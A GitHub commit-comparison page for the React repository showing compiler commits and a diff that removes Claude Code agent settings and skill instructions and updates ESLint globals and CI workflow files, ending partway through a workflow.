Compare commits

..

2 Commits

Author SHA1 Message Date
Mofei Zhang
50f8538911 [compiler][rewrite] Represent scope dependencies with value blocks
(needs cleanup)

- Scopes no longer store a flat list of their dependencies. Instead:
  - Scope terminals are effectively a `goto` for scope dependency instructions (represented as value blocks that terminate with a `goto scopeBlock` for HIR and a series of ReactiveInstructions for ReactiveIR)
  - Scopes themselves store `dependencies: Array<Place>`, which refer to temporaries written to by scope dependency instructions

Next steps:
- new pass to dedupe scope dependency instructions after all dependency and scope pruning passes, effectively 'hoisting' dependencies out
- more complex dependencies (unary ops like `Boolean` or `Not`, binary ops like `!==` or logical operators)
2025-04-29 18:43:01 -04:00
Mofei Zhang
1cb99cadd6 [compiler] Prepare HIRBuilder to be used by later passes 2025-04-29 18:38:31 -04:00
3161 changed files with 62194 additions and 178880 deletions

View File

@@ -1,46 +0,0 @@
# React
**Scope**: All code EXCEPT `/compiler/` (compiler has its own instructions).
## Project Structure
| Directory | Purpose |
|-----------|---------|
| `/packages/` | Publishable packages (react, react-dom, scheduler, etc.) |
| `/scripts/` | Build, test, and development scripts |
| `/fixtures/` | Test applications for manual testing |
| `/compiler/` | React Compiler (separate sub-project) |
## Key Packages
| Package | Purpose |
|---------|---------|
| `react` | Core React library |
| `react-dom` | DOM renderer |
| `react-reconciler` | Core reconciliation algorithm |
| `scheduler` | Cooperative scheduling |
| `react-server-dom-*` | Server Components |
| `react-devtools-*` | Developer Tools |
| `react-refresh` | Fast Refresh runtime |
## Requirements
- **Node**: Must be installed. Stop and prompt user if missing.
- **Package Manager**: Use `yarn` only.
## Verification
**IMPORTANT**: Use `/verify` to validate all changes before committing.
## Commands
| Command | Purpose |
|----------|----------------------|
| `/fix` | Lint and format code |
| `/test` | Run tests |
| `/flow` | Type check with Flow |
| `/flags` | Check feature flags |
## Building
Builds are handled by CI. Do not run locally unless instructed.

View File

@@ -1,44 +0,0 @@
{
"hooks": {
"SessionStart": [
{
"hooks": [
{
"type": "command",
"command": "if [[ \"$PWD\" != */compiler* ]]; then cat .claude/instructions.md 2>/dev/null || true; fi"
}
]
}
]
},
"permissions": {
"allow": [
"Skill(extract-errors)",
"Skill(feature-flags)",
"Skill(fix)",
"Skill(flags)",
"Skill(flow)",
"Skill(test)",
"Skill(verify)",
"Bash(yarn test:*)",
"Bash(yarn test-www:*)",
"Bash(yarn test-classic:*)",
"Bash(yarn test-stable:*)",
"Bash(yarn linc:*)",
"Bash(yarn lint:*)",
"Bash(yarn flow:*)",
"Bash(yarn prettier:*)",
"Bash(yarn build:*)",
"Bash(yarn extract-errors:*)",
"Bash(yarn flags:*)"
],
"deny": [
"Bash(yarn download-build:*)",
"Bash(yarn download-build-for-head:*)",
"Bash(npm:*)",
"Bash(pnpm:*)",
"Bash(bun:*)",
"Bash(npx:*)"
]
}
}

View File

@@ -1,12 +0,0 @@
---
name: extract-errors
description: Use when adding new error messages to React, or seeing "unknown error code" warnings.
---
# Extract Error Codes
## Instructions
1. Run `yarn extract-errors`
2. Report if any new errors need codes assigned
3. Check if error codes are up to date

View File

@@ -1,79 +0,0 @@
---
name: feature-flags
description: Use when feature flag tests fail, flags need updating, understanding @gate pragmas, debugging channel-specific test failures, or adding new flags to React.
---
# React Feature Flags
## Flag Files
| File | Purpose |
|------|---------|
| `packages/shared/ReactFeatureFlags.js` | Default flags (canary), `__EXPERIMENTAL__` overrides |
| `packages/shared/forks/ReactFeatureFlags.www.js` | www channel, `__VARIANT__` overrides |
| `packages/shared/forks/ReactFeatureFlags.native-fb.js` | React Native, `__VARIANT__` overrides |
| `packages/shared/forks/ReactFeatureFlags.test-renderer.js` | Test renderer |
## Gating Tests
### `@gate` pragma (test-level)
Use when the feature is completely unavailable without the flag:
```javascript
// @gate enableViewTransition
it('supports view transitions', () => {
// This test only runs when enableViewTransition is true
// and is SKIPPED (not failed) when false
});
```
### `gate()` inline (assertion-level)
Use when the feature exists but behavior differs based on flag:
```javascript
it('renders component', async () => {
await act(() => root.render(<App />));
if (gate(flags => flags.enableNewBehavior)) {
expect(container.textContent).toBe('new output');
} else {
expect(container.textContent).toBe('legacy output');
}
});
```
## Adding a New Flag
1. Add to `ReactFeatureFlags.js` with default value
2. Add to each fork file (`*.www.js`, `*.native-fb.js`, etc.)
3. If it should vary in www/RN, set to `__VARIANT__` in the fork file
4. Gate tests with `@gate flagName` or inline `gate()`
## Checking Flag States
Use `/flags` to view states across channels. See the `flags` skill for full command options.
## `__VARIANT__` Flags (GKs)
Flags set to `__VARIANT__` simulate gatekeepers - tested twice (true and false):
```bash
/test www <pattern> # __VARIANT__ = true
/test www variant false <pattern> # __VARIANT__ = false
```
## Debugging Channel-Specific Failures
1. Run `/flags --diff <channel1> <channel2>` to compare values
2. Check `@gate` conditions - test may be gated to specific channels
3. Run `/test <channel> <pattern>` to isolate the failure
4. Verify flag exists in all fork files if newly added
## Common Mistakes
- **Forgetting both variants** - Always test `www` AND `www variant false` for `__VARIANT__` flags
- **Using @gate for behavior differences** - Use inline `gate()` if both paths should run
- **Missing fork files** - New flags must be added to ALL fork files, not just the main one
- **Wrong gate syntax** - It's `gate(flags => flags.name)`, not `gate('name')`

View File

@@ -1,17 +0,0 @@
---
name: fix
description: Use when you have lint errors, formatting issues, or before committing code to ensure it passes CI.
---
# Fix Lint and Formatting
## Instructions
1. Run `yarn prettier` to fix formatting
2. Run `yarn linc` to check for remaining lint issues
3. Report any remaining manual fixes needed
## Common Mistakes
- **Running prettier on wrong files** - `yarn prettier` only formats changed files
- **Ignoring linc errors** - These will fail CI, fix them before committing

View File

@@ -1,39 +0,0 @@
---
name: flags
description: Use when you need to check feature flag states, compare channels, or debug why a feature behaves differently across release channels.
---
# Feature Flags
Arguments:
- $ARGUMENTS: Optional flags
## Options
| Option | Purpose |
|--------|---------|
| (none) | Show all flags across all channels |
| `--diff <ch1> <ch2>` | Compare flags between channels |
| `--cleanup` | Show flags grouped by cleanup status |
| `--csv` | Output in CSV format |
## Channels
- `www`, `www-modern` - Meta internal
- `canary`, `next`, `experimental` - OSS channels
- `rn`, `rn-fb`, `rn-next` - React Native
## Legend
✅ enabled, ❌ disabled, 🧪 `__VARIANT__`, 📊 profiling-only
## Instructions
1. Run `yarn flags $ARGUMENTS`
2. Explain the output to the user
3. For --diff, highlight meaningful differences
## Common Mistakes
- **Forgetting `__VARIANT__` flags** - These are tested both ways in www; check both variants
- **Comparing wrong channels** - Use `--diff` to see exact differences

View File

@@ -1,30 +0,0 @@
---
name: flow
description: Use when you need to run Flow type checking, or when seeing Flow type errors in React code.
---
# Flow Type Checking
Arguments:
- $ARGUMENTS: Renderer to check (default: dom-node)
## Renderers
| Renderer | When to Use |
|----------|-------------|
| `dom-node` | Default, recommended for most changes |
| `dom-browser` | Browser-specific DOM code |
| `native` | React Native |
| `fabric` | React Native Fabric |
## Instructions
1. Run `yarn flow $ARGUMENTS` (use `dom-node` if no argument)
2. Report type errors with file locations
3. For comprehensive checking (slow), use `yarn flow-ci`
## Common Mistakes
- **Running without a renderer** - Always specify or use default `dom-node`
- **Ignoring suppressions** - Check if `$FlowFixMe` comments are masking real issues
- **Missing type imports** - Ensure types are imported from the correct package

View File

@@ -1,46 +0,0 @@
---
name: test
description: Use when you need to run tests for React core. Supports source, www, stable, and experimental channels.
---
Run tests for the React codebase.
Arguments:
- $ARGUMENTS: Channel, flags, and test pattern
Usage Examples:
- `/test ReactFiberHooks` - Run with source channel (default)
- `/test experimental ReactFiberHooks` - Run with experimental channel
- `/test www ReactFiberHooks` - Run with www-modern channel
- `/test www variant false ReactFiberHooks` - Test __VARIANT__=false
- `/test stable ReactFiberHooks` - Run with stable channel
- `/test classic ReactFiberHooks` - Run with www-classic channel
- `/test watch ReactFiberHooks` - Run in watch mode (TDD)
Release Channels:
- `(default)` - Source/canary channel, uses ReactFeatureFlags.js defaults
- `experimental` - Source/experimental channel with __EXPERIMENTAL__ flags = true
- `www` - www-modern channel with __VARIANT__ flags = true
- `www variant false` - www channel with __VARIANT__ flags = false
- `stable` - What ships to npm
- `classic` - Legacy www-classic (rarely needed)
Instructions:
1. Parse channel from arguments (default: source)
2. Map to yarn command:
- (default) → `yarn test --silent --no-watchman <pattern>`
- experimental → `yarn test -r=experimental --silent --no-watchman <pattern>`
- stable → `yarn test-stable --silent --no-watchman <pattern>`
- classic → `yarn test-classic --silent --no-watchman <pattern>`
- www → `yarn test-www --silent --no-watchman <pattern>`
- www variant false → `yarn test-www --variant=false --silent --no-watchman <pattern>`
3. Report test results and any failures
Hard Rules:
1. **Use --silent to see failures** - This limits the test output to only failures.
2. **Use --no-watchman** - This is a common failure in sandboxing.
Common Mistakes:
- **Running without a pattern** - Runs ALL tests, very slow. Always specify a pattern.
- **Forgetting both www variants** - Test `www` AND `www variant false` for `__VARIANT__` flags.
- **Test skipped unexpectedly** - Check for `@gate` pragma; see `feature-flags` skill.

View File

@@ -1,24 +0,0 @@
---
name: verify
description: Use when you want to validate changes before committing, or when you need to check all React contribution requirements.
---
# Verification
Run all verification steps.
Arguments:
- $ARGUMENTS: Test pattern for the test step
## Instructions
Run these first in sequence:
1. Run `yarn prettier` - format code (stop if fails)
2. Run `yarn linc` - lint changed files (stop if fails)
Then run these with subagents in parallel:
1. Use `/flow` to type check (stop if fails)
2. Use `/test` to test changes in source (stop if fails)
3. Use `/test www` to test changes in www (stop if fails)
If all pass, show success summary. On failure, stop immediately and report the issue with suggested fixes.

View File

@@ -1,7 +1,7 @@
{
"packages": ["packages/react", "packages/react-dom", "packages/react-server-dom-webpack", "packages/scheduler"],
"buildCommand": "download-build-in-codesandbox-ci",
"node": "20",
"node": "18",
"publishDirectory": {
"react": "build/oss-experimental/react",
"react-dom": "build/oss-experimental/react-dom",

View File

@@ -28,6 +28,3 @@ packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/
packages/react-devtools-shell/dist
packages/react-devtools-timeline/dist
packages/react-devtools-timeline/static
# Imported third-party Flow types
flow-typed/

View File

@@ -331,7 +331,6 @@ module.exports = {
'packages/react-server-dom-turbopack/**/*.js',
'packages/react-server-dom-parcel/**/*.js',
'packages/react-server-dom-fb/**/*.js',
'packages/react-server-dom-unbundled/**/*.js',
'packages/react-test-renderer/**/*.js',
'packages/react-debug-tools/**/*.js',
'packages/react-devtools-extensions/**/*.js',
@@ -463,21 +462,19 @@ module.exports = {
globals: {
nativeFabricUIManager: 'readonly',
RN$enableMicrotasksInReact: 'readonly',
RN$isNativeEventTargetEventDispatchingEnabled: 'readonly',
},
},
{
files: ['packages/react-server-dom-webpack/**/*.js'],
globals: {
__webpack_chunk_load__: 'readonly',
__webpack_get_script_filename__: 'readonly',
__webpack_require__: 'readonly',
},
},
{
files: ['packages/react-server-dom-turbopack/**/*.js'],
globals: {
__turbopack_load_by_url__: 'readonly',
__turbopack_load__: 'readonly',
__turbopack_require__: 'readonly',
},
},
@@ -499,7 +496,6 @@ module.exports = {
'packages/react-devtools-shared/src/devtools/views/**/*.js',
'packages/react-devtools-shared/src/hook.js',
'packages/react-devtools-shared/src/backend/console.js',
'packages/react-devtools-shared/src/backend/fiber/renderer.js',
'packages/react-devtools-shared/src/backend/shared/DevToolsComponentStackFrame.js',
'packages/react-devtools-shared/src/frontend/utils/withPermissionsCheck.js',
],
@@ -518,14 +514,6 @@ module.exports = {
__IS_INTERNAL_VERSION__: 'readonly',
},
},
{
files: ['packages/react-devtools-*/**/*.js'],
excludedFiles: '**/__tests__/**/*.js',
plugins: ['eslint-plugin-react-hooks-published'],
rules: {
'react-hooks-published/rules-of-hooks': ERROR,
},
},
{
files: ['packages/eslint-plugin-react-hooks/src/**/*'],
extends: ['plugin:@typescript-eslint/recommended'],
@@ -556,10 +544,13 @@ module.exports = {
},
globals: {
$Call: 'readonly',
$ElementType: 'readonly',
$Flow$ModuleRef: 'readonly',
$FlowFixMe: 'readonly',
$Keys: 'readonly',
$NonMaybeType: 'readonly',
$PropertyType: 'readonly',
$ReadOnly: 'readonly',
$ReadOnlyArray: 'readonly',
$ArrayBufferView: 'readonly',
@@ -567,15 +558,12 @@ module.exports = {
CallSite: 'readonly',
ConsoleTask: 'readonly', // TOOD: Figure out what the official name of this will be.
ReturnType: 'readonly',
AggregateError: 'readonly',
AnimationFrameID: 'readonly',
WeakRef: 'readonly',
// For Flow type annotation. Only `BigInt` is valid at runtime.
bigint: 'readonly',
BigInt: 'readonly',
BigInt64Array: 'readonly',
BigUint64Array: 'readonly',
CacheType: 'readonly',
Class: 'readonly',
ClientRect: 'readonly',
CopyInspectedElementPath: 'readonly',
@@ -587,20 +575,15 @@ module.exports = {
$AsyncIterator: 'readonly',
Iterator: 'readonly',
AsyncIterator: 'readonly',
IntervalID: 'readonly',
IteratorResult: 'readonly',
JSONValue: 'readonly',
JSResourceReference: 'readonly',
mixin$Animatable: 'readonly',
MouseEventHandler: 'readonly',
NavigateEvent: 'readonly',
Partial: 'readonly',
PerformanceMeasureOptions: 'readonly',
PropagationPhases: 'readonly',
PropertyDescriptor: 'readonly',
PropertyDescriptorMap: 'readonly',
Proxy$traps: 'readonly',
React$AbstractComponent: 'readonly',
React$Component: 'readonly',
React$ComponentType: 'readonly',
React$Config: 'readonly',
React$Context: 'readonly',
React$Element: 'readonly',
@@ -621,24 +604,20 @@ module.exports = {
symbol: 'readonly',
SyntheticEvent: 'readonly',
SyntheticMouseEvent: 'readonly',
SyntheticPointerEvent: 'readonly',
Thenable: 'readonly',
TimeoutID: 'readonly',
WheelEventHandler: 'readonly',
FinalizationRegistry: 'readonly',
Exclude: 'readonly',
Omit: 'readonly',
Pick: 'readonly',
Keyframe: 'readonly',
PropertyIndexedKeyframes: 'readonly',
KeyframeAnimationOptions: 'readonly',
GetAnimationsOptions: 'readonly',
Animatable: 'readonly',
ScrollTimeline: 'readonly',
EventListenerOptionsOrUseCapture: 'readonly',
FocusOptions: 'readonly',
OptionalEffectTiming: 'readonly',
__REACT_ROOT_PATH_TEST__: 'readonly',
spyOnDev: 'readonly',
spyOnDevAndProd: 'readonly',
spyOnProd: 'readonly',
@@ -655,6 +634,5 @@ module.exports = {
AsyncLocalStorage: 'readonly',
async_hooks: 'readonly',
globalThis: 'readonly',
navigation: 'readonly',
},
};

View File

@@ -11,7 +11,7 @@ body:
options:
- label: React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- label: babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- label: eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- label: eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- label: react-compiler-healthcheck (build issue installing or using the healthcheck script)
- type: input
attributes:

View File

@@ -11,12 +11,10 @@ permissions: {}
jobs:
check_access:
if: ${{ github.event.pull_request.draft == false }}
runs-on: ubuntu-latest
outputs:
is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}
steps:
- run: echo ${{ github.event.pull_request.author_association }}
- name: Check is member or collaborator
id: check_is_member_or_collaborator
if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}

View File

@@ -57,6 +57,8 @@ jobs:
key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}
- run: npx playwright install --with-deps chromium
if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'
- run: npx playwright install-deps
if: steps.cache_playwright_browsers.outputs.cache-hit == 'true'
- run: CI=true yarn test
- run: ls -R test-results
if: '!cancelled()'

View File

@@ -19,9 +19,6 @@ on:
tag_version:
required: false
type: string
dry_run:
required: false
type: boolean
secrets:
NPM_TOKEN:
required: true
@@ -58,13 +55,7 @@ jobs:
key: compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/yarn.lock') }}
- run: yarn install --frozen-lockfile
if: steps.node_modules.outputs.cache-hit != 'true'
- if: inputs.dry_run == true
name: Publish packages to npm (dry run)
run: |
cp ./scripts/release/ci-npmrc ~/.npmrc
scripts/release/publish.js --frfr --debug --ci --versionName=${{ inputs.version_name }} --tag=${{ inputs.dist_tag }} ${{ inputs.tag_version && format('--tagVersion={0}', inputs.tag_version) || '' }}
- if: inputs.dry_run != true
name: Publish packages to npm
- name: Publish packages to npm
run: |
cp ./scripts/release/ci-npmrc ~/.npmrc
scripts/release/publish.js --frfr --ci --versionName=${{ inputs.version_name }} --tag=${{ inputs.dist_tag }} ${{ inputs.tag_version && format('--tagVersion={0}', inputs.tag_version) || '' }}

View File

@@ -17,9 +17,6 @@ on:
tag_version:
required: false
type: string
dry_run:
required: false
type: boolean
permissions: {}
@@ -36,6 +33,5 @@ jobs:
dist_tag: ${{ inputs.dist_tag }}
version_name: ${{ inputs.version_name }}
tag_version: ${{ inputs.tag_version }}
dry_run: ${{ inputs.dry_run }}
secrets:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

View File

@@ -19,6 +19,5 @@ jobs:
release_channel: experimental
dist_tag: experimental
version_name: '0.0.0'
dry_run: false
secrets:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

View File

@@ -1,49 +0,0 @@
name: (DevTools) Discord Notify
on:
pull_request_target:
types: [opened, ready_for_review]
paths:
- packages/react-devtools**
- .github/workflows/devtools_**.yml
permissions: {}
jobs:
check_access:
if: ${{ github.event.pull_request.draft == false }}
runs-on: ubuntu-latest
outputs:
is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}
steps:
- run: echo ${{ github.event.pull_request.author_association }}
- name: Check is member or collaborator
id: check_is_member_or_collaborator
if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}
run: echo "is_member_or_collaborator=true" >> "$GITHUB_OUTPUT"
check_maintainer:
if: ${{ needs.check_access.outputs.is_member_or_collaborator == 'true' || needs.check_access.outputs.is_member_or_collaborator == true }}
needs: [check_access]
uses: facebook/react/.github/workflows/shared_check_maintainer.yml@main
permissions:
# Used by check_maintainer
contents: read
with:
actor: ${{ github.event.pull_request.user.login }}
notify:
if: ${{ needs.check_maintainer.outputs.is_core_team == 'true' }}
needs: check_maintainer
runs-on: ubuntu-latest
steps:
- name: Discord Webhook Action
uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4
with:
webhook-url: ${{ secrets.DEVTOOLS_DISCORD_WEBHOOK_URL }}
embed-author-name: ${{ github.event.pull_request.user.login }}
embed-author-url: ${{ github.event.pull_request.user.html_url }}
embed-author-icon-url: ${{ github.event.pull_request.user.avatar_url }}
embed-title: '#${{ github.event.number }} (+${{github.event.pull_request.additions}} -${{github.event.pull_request.deletions}}): ${{ github.event.pull_request.title }}'
embed-description: ${{ github.event.pull_request.body }}
embed-url: ${{ github.event.pull_request.html_url }}

View File

@@ -92,7 +92,7 @@ jobs:
uses: actions/upload-artifact@v4
with:
name: react-devtools
path: build/devtools
path: build/devtools.tgz
if-no-files-found: error
# Simplifies getting the extension for local testing
- name: Archive chrome extension
@@ -201,5 +201,5 @@ jobs:
- uses: actions/upload-artifact@v4
with:
name: screenshots
path: ./tmp/playwright-artifacts
path: ./tmp/screenshots
if-no-files-found: warn

View File

@@ -3,19 +3,9 @@ name: (Runtime) Build and Test
on:
push:
branches: [main]
tags:
# To get CI for backport releases.
# This will duplicate CI for releases from main which is acceptable
- "v*"
pull_request:
paths-ignore:
- compiler/**
workflow_dispatch:
inputs:
commit_sha:
required: false
type: string
default: ''
permissions: {}
@@ -38,14 +28,14 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- name: Check cache hit
uses: actions/cache/restore@v4
id: node_modules
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
lookup-only: true
- uses: actions/setup-node@v4
if: steps.node_modules.outputs.cache-hit != 'true'
@@ -59,8 +49,10 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
restore-keys: |
runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-node_modules-v6-
- run: yarn install --frozen-lockfile
if: steps.node_modules.outputs.cache-hit != 'true'
- name: Save cache
@@ -69,7 +61,7 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
runtime_compiler_node_modules_cache:
name: Cache Runtime, Compiler node_modules
@@ -77,14 +69,14 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- name: Check cache hit
uses: actions/cache/restore@v4
id: node_modules
with:
path: |
**/node_modules
key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
key: runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
lookup-only: true
- uses: actions/setup-node@v4
if: steps.node_modules.outputs.cache-hit != 'true'
@@ -100,8 +92,10 @@ jobs:
with:
path: |
**/node_modules
key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
restore-keys: |
runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-and-compiler-node_modules-v6-
- run: yarn install --frozen-lockfile
if: steps.node_modules.outputs.cache-hit != 'true'
- run: yarn --cwd compiler install --frozen-lockfile
@@ -112,7 +106,7 @@ jobs:
with:
path: |
**/node_modules
key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
key: runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
# ----- FLOW -----
discover_flow_inline_configs:
@@ -123,7 +117,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/github-script@v7
id: set-matrix
with:
@@ -142,7 +136,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -154,8 +148,10 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
restore-keys: |
runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
@@ -170,7 +166,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -182,15 +178,17 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
restore-keys: |
runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
if: steps.node_modules.outputs.cache-hit != 'true'
- run: |
yarn generate-inline-fizz-runtime
git diff --exit-code || (echo "There was a change to the Fizz runtime. Run \`yarn generate-inline-fizz-runtime\` and check in the result." && false)
git diff --quiet || (echo "There was a change to the Fizz runtime. Run `yarn generate-inline-fizz-runtime` and check in the result." && false)
# ----- FEATURE FLAGS -----
flags:
@@ -200,7 +198,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -212,7 +210,7 @@ jobs:
with:
path: |
**/node_modules
key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
key: runtime-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
@@ -256,7 +254,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -270,48 +268,18 @@ jobs:
with:
path: |
**/node_modules
key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
restore-keys: |
runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-and-compiler-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
if: steps.node_modules.outputs.cache-hit != 'true'
- run: yarn --cwd compiler install --frozen-lockfile
if: steps.node_modules.outputs.cache-hit != 'true'
- run: node --version
- run: yarn test ${{ matrix.params }} --ci --shard=${{ matrix.shard }}
# Hardcoded to improve parallelism
test-linter:
name: Test eslint-plugin-react-hooks
needs: [runtime_compiler_node_modules_cache]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
cache: yarn
cache-dependency-path: |
yarn.lock
compiler/yarn.lock
- name: Restore cached node_modules
uses: actions/cache@v4
id: node_modules
with:
path: |
**/node_modules
key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
- name: Install runtime dependencies
run: yarn install --frozen-lockfile
if: steps.node_modules.outputs.cache-hit != 'true'
- name: Install compiler dependencies
run: yarn install --frozen-lockfile
working-directory: compiler
if: steps.node_modules.outputs.cache-hit != 'true'
- run: ./scripts/react-compiler/build-compiler.sh && ./scripts/react-compiler/link-compiler.sh
- run: yarn workspace eslint-plugin-react-hooks test
# ----- BUILD -----
build_and_lint:
name: yarn build and lint
@@ -326,7 +294,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -344,8 +312,10 @@ jobs:
with:
path: |
**/node_modules
key: runtime-and-compiler-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
# Don't use restore-keys here. Otherwise the cache grows indefinitely.
key: runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock') }}
restore-keys: |
runtime-and-compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-
runtime-and-compiler-node_modules-v6-
- name: Ensure clean build directory
run: rm -rf build
- run: yarn install --frozen-lockfile
@@ -383,6 +353,9 @@ jobs:
-r=experimental --env=development,
-r=experimental --env=production,
# Dev Tools
--project=devtools -r=experimental,
# TODO: Update test config to support www build tests
# - "-r=www-classic --env=development --variant=false"
# - "-r=www-classic --env=production --variant=false"
@@ -416,7 +389,7 @@ jobs:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
ref: ${{ github.event.pull_request.head.sha || github.sha }}
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
@@ -430,8 +403,10 @@ jobs:
with:
path: |
**/node_modules
